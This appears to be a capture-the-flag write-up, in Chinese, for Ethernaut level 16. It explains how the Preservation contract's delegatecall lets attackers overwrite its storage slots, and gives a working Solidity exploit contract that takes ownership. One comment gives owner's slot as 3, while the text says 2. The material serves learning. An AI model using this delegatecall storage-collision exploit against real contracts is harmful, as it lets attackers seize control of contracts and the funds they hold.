LEVEL 16 (Preservation):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
通关要求
owner=player
要点
1.理解delegatecall如何处理storage
第6关有类似
https://dev.to/bin2chen/ethernautxi-lie-level-6delegate-31gk
2.storage的位置如何存储
解题思路
调用delegatecall代码使用被调合约的代码,但storage使用是调用方的storage
所以第一次调用setFirstTime时,LibraryContract里的storedTime(slot:0)对应的是Preservation的timeZone1Library(slot:0)的位置,所以timeZone1Library会被入参time给覆盖,这样可以传time为我们指定一个外包合约地址,第二次再调用setFirstTime就会调用这个外部合约,然后在通过这个外部合约写入owner(slot:2)即可改下owner
contract PreservationRun {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256 _time) public {
owner = address(uint160(_time));
}
function run(address _runAddress, address _playerAddress) external payable {
//调用第一次setFirstTime后,会覆盖Preservation.sol的timeZone1Library为本合约
ILevel(_runAddress).setFirstTime(uint160(address(this)));
//第二次时间是调用这个合约的setTime,但storage用的是Preservation.sol的storage的slot:3即owner
ILevel(_runAddress).setFirstTime(uint160(_playerAddress));
}
}
Top comments (0)